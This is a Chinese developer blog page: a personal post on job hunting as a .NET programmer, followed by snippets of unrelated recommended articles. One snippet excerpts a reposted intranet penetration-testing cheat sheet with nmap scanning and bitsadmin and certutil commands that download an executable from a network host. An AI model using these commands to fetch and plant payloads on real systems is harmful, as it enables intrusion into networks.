      夜已经很深了,但却毫无睡意,最近找工作和面试感触良多,所以想记录下来这段过程。   作为一个.Net程序员,不可否认是比JAVA要难混的。甚至在智联招聘或者大街网都没有.NET程序员的备用选项。真是令人悲伤。但既然已经选择了这门技术作为饭碗,那不如就做精做专了它,其实依然是可以达到很高的境界的。而且真正做到大师也一定不能被语言所局限,语言只是工具,而其中的编程思想才是真正的核心。真正的懂了,境界也就完全不同了。   但在作为菜鸟的阶段或者还没有达到一万小时的时间段,在找工作的时候不可避免需要一些准备。其实这些并不能叫做准备,而且在工作中也是最常用到的一些技能。其实这些所谓的准备也是对自己知识的考察,在平常垒代码的时候很多时候不会了就是google一下,stackoverflow问一下找到答案后甚至并没有理解透彻便用于项目之中,或者说你的知识累计只是需要用到了才开始钻研,并没有一个系统的总结和理解。这其实也是一个很好的系统自己知识的机会。 -------------------------------------------------------------------------

  • 云计算学习初级入门教程(二) —— CentOS 6 安装 nacos 环境并配置和测试

    这篇简单了解下Nacos,并说明下它的部署、配置和基本使用。 Nacos官网对其说明如下: Nacosiscommittedtohelpyoudiscover,configure,andmanageyourmicroservices.Itprovidesasetofsimpleandusefulfeaturesenablingyoutorealizedynamicservicediscovery,serviceconfiguration,servicemetadataandtrafficmanagement. Nacos致力于帮助您发现、配置和管理微服务。Nacos提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。 Nacosmakesiteasierandfastertoconstruct,deliverandmanageyourmicroservicesplatform.Itistheinfrastructurethatsupportsaservice-centeredmodernapplicationarchitecturewithamic

  • array note

    Array concat() 复制一个全新的数据 修改复制的数据不会造成原始数据变化 consta=[1,2,3]; constb=a.concat(); console.log(b); //[1,2,3] 复制 from() 将类数组对象转化为真实的数组 letarrayLike={ '0':'a', '1':'b', '2':'c', length:3 }; constarr=Array.from(arrayLike); console.log(arr); //['a','b','c'] 复制 //DOM对象也是一个类数组对象 constps=document.querySelectorAll('p'); constnodeList=Array.from(ps); 复制 Set() 数组去重,但是不能对数组对象进行去重 constarr=[1,2,3,1]; constnewArr=newSet(arr); console.log(newArr); //[1,2,3] //无法对以下数组进行去重 constarr=[{id:1,name:'a'},{i

  • unity数据持久化(简单实现)

    在这里只简单介绍一下数据持久化的路径及方法。 很简单创建并写入文本: //创建//StreamWriterst=File.CreateText(Application.persistentDataPath+“Test.txt”);//手机StreamWriterst=File.CreateText(“Assets/Text.txt”);//pc方法File.CreateText(路径及即将创建的文件名称); //写入st.Write(“写入了”);st.Close();//写入后记得close publicvoidSaveTxt(stringtxt) { stringresult1=Application.streamingAssetsPath+"/海报信息.txt"; print(result1); StreamWriterst=File.CreateText(result1); st.Write(txt); st.Close(); } 复制 读取 //读取文本//ShowText.text=File.ReadAllText(Application.persistentData

  • 第六章 核心API (二)

    一、查询参数化   总体而言,绑定函数可分为两类,一类用于标量值(int、double、int64、NULL),另一类用于数组(blob、text和text16)。其中,数组绑定函数需要一个长度参数和指向清理函数的指针。   sqlite3_bind_text()自动转义引号字符。   使用BLOB类型时,绑定函数声明如下: 1/* 2**BindablobvaluetoanSQLstatementvariable. 3*/ 4intsqlite3_bind_blob( 5sqlite3_stmt*pStmt,/*语句句柄*/ 6inti,/*次序*/ 7constvoid*zData,/*指向blob数据*/ 8intnData,/*数据的字节长度*/ 9void(*xDel)(void*)/*清理处理程序*/ 10)复制     对于xDel参数,有两个特殊含义的预定义值。 1typedefvoid(*sqlite3_destructor_type)(void*); 2#defineSQLITE_STATIC((sqlite3_destructor_type)0)

  • [JXOI2017]颜色 线段树求点对贡献

    [JXOI2017]颜色 题目链接 https://www.luogu.org/problemnew/show/P4065 题目描述 可怜有一个长度为n的正整数序列Ai,其中相同的正整数代表着相同的颜色。 现在可怜觉得这个序列太长了,于是她决定选择一些颜色把这些颜色的所有位置都删去。 删除颜色i可以定义为把所有满足Aj=i的位置j都从序列中删去。 然而有些时候删去之后,整个序列变成了好几段,可怜不喜欢这样,于是她想要知道有多少种删去颜色的方案使得最后剩下来的序列非空且连续。 例如颜色序列{1,2,3,4,5},删除颜色3后序列变成了{1,2}和{4,5}两段,不满足条件。而删除颜色1后序列变成了{2,3,4,5},满足条件。 两个方案不同当且仅当至少存在一个颜色i只在其中一个方案中被删去。 输入输出格式 输入格式: 第一行输入一个整数T表示数据组数。每组数据第一行输入一个整数n表示数列长度。第二行输入n个整数描述颜色序列。 输出格式: 对于每组数据输出一个整数表示答案。 输入输出样例 输入样例#1: 复制 1 5 13243复制 输出样例#1:复制 6复制 说明 满足条件

  • 我的第一篇博客

    我目前是在通信行业,做的项目跟路由器、交换机等数通产品相关,主要是L2/L3层的网络协议。但是,我现在想转行做互联网。 从这篇博客开始,我将记录工作、学习以及面试中遇到的一些问题和自己的心得体会。 ----前一阵转行成功了

  • [总结]内网攻防技术备忘录

    转载自:乌云安全 原文链接:内网攻防经典技术备忘录 0x01信息搜集 #nmap扫描实时存活的ip nmap10.1.1.1--open-oGscan-results;catscan-results|grep"/open"|cut-d""-f2>exposed-services-ips 复制 1.1常用命令 arp-a routeprint获取arp表 curlvps:8080http连通性 nslookupwww.baidu.comvps-ip dig@vps-ipwww.baidu.com测试dns连通性 nslookuphacked.com判断域控与DNS是否为同一主机 tracert路由跟踪实用程序,用于确定IP数据包访问目标所采取的路径 bitsadmin/transfernhttp://192.168.3.1/test.exeC:\windows\temp\test.exe certutil.exe-urlcache-split-fhttp://192.168.3.1/test.exefile.exe fuser-nvtcp80查看端口进程的pid netstat

相关推荐

推荐阅读